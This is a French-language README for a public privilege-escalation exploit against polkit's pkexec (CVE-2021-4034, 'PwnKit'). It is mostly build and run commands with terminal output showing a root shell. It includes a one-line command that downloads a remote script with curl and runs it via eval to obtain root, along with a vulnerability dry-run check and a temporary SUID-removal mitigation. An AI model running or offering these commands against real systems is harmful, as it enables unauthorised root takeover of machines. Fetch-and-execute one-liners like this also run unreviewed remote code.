
CVE-2021-4034 1day
Exploit d'élévation de privilèges pour polkit en un jour
Exécutez simplement make, ./cve-2021-4034 et profitez de votre shell root.
L'avis original des véritables auteurs se trouve ici
Si l'exploit fonctionne, vous obtiendrez immédiatement un shell root :
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
La mise à jour de polkit sur la plupart des systèmes corrigera l'exploit, vous obtiendrez donc l'utilisation et le programme se terminera :
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Pour ne pas exécuter un shell mais simplement tester si le système est vulnérable, compilez la cible dry-run.
Si le programme se termine en affichant « root », cela signifie que votre système est vulnérable à l'exploit.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
Si votre système n'est pas vulnérable, il affiche une erreur et se termine.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (anciennement PolicyKit) est un composant permettant de contrôler les privilèges système dans les systèmes d'exploitation de type Unix. Il offre un moyen organisé aux processus non privilégiés de communiquer avec les processus privilégiés. Il est également possible d'utiliser polkit pour exécuter des commandes avec des privilèges élevés à l'aide de la commande pkexec suivie de la commande à exécuter (avec permission root).
Vous pouvez facilement exploiter le système à l'aide d'un seul script, téléchargeable et exécutable avec cette commande :
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
Si aucun correctif n'est disponible pour votre système d'exploitation, vous pouvez supprimer le bit SUID de pkexec comme atténuation temporaire.
# chmod 0755 /usr/bin/pkexec
L'exploit échouera alors en se plaignant que pkexec doit avoir le bit setuid activé.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root